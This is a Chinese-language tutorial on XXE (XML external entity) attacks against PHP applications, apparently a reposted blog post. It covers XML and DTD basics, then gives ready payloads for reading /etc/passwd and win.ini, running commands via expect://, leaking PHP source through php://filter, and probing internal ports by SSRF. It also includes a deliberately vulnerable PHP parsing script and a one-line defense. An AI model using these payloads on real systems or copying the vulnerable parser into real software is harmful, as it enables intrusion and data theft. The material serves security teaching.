XXE漏洞攻防

XXE漏洞

1. XXE概述

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

可以造成危害

  • 文件读取
  • ssrf
  • dos
  • 命令执行

XML基础介绍

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

下面我们主要介绍PHP语言下的XXE攻击.

基本结构

例子

<!--XML声明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT heading (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

DTD

文档类型定义(DTD)

可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

  • 内部的 DOCTYPE 声明

    <!DOCTYPE 根元素 [元素声明]>
    
  • 外部文档声明

    <!DOCTYPE 根元素 SYSTEM ”文件名”>
    

内部声明的例子

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>KK</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

最外部引用的例子

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "waibu.dtd">
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

waibu.DTD 被引用的内容为

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

漏洞原理

XXE 即 XML外部实体注入 。

我们先分别理解一下注入和外部实体的含义。

  • 注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
  • 外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。

所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

主流的漏洞payload

任意文件读取

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY fff SYSTEM "file:///etc/passwd">
]>

<hhh>&fff;</hhh>

命令执行

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

SSRF内网探测

我们要根据返回信息内容判断该端口是否打开。

主要是根据报错信息的差异来判断是否生效

若测试端口返回“Connection refused”则可以知道该端口是关闭的,否则为就是打开的。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
    <!ENTITY ssrf SYSTEM "http://192.168.246.136:80">
]>

<reset>
  <login>&ssrf;</login>
  <secret>ssrf?</secret>
</reset>

简单的测试代码

<?php
  $data = isset($_POST['data'])?trim($_POST['data']):'';
  $xml = simplexml_load_string($data,"SimpleXMLElement",LIBXML_NOENT);
  var_dump($xml)
  ?> 

注意:自己写个html提交表单把,我的环境是 win7+phpstudy

任意文件读取payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY content SYSTEM "file:///C:/Windows/win.ini">
]>
<note>
	<name>&content;</name>
</note>		

在这里插入图片描述

任意文件读取php文件payload

问题出在读代码地方,都有<>这种可能会把php文件当初xml给处理了,所以直接读取会直接报错。所以我们换一种协议,转化格式读取
最终可以导致源码泄露

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<note>
	<name>&content;</name>
</note>		

在这里插入图片描述
解码后正确
在这里插入图片描述

SSRF内网探测payload

这个报错信息根据环境的不同,协议的不同报错方式都不一样,所以到底这个有没有打开得自行遍历查看异同,和报错信息判断

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY content SYSTEM "http://127.0.0.1:3306">
]>
<note>
	<name>&content;</name>
</note>		

防御XXE攻击

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

发布了46 篇原创文章 · 获赞 12 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/god_zzZ/article/details/104729803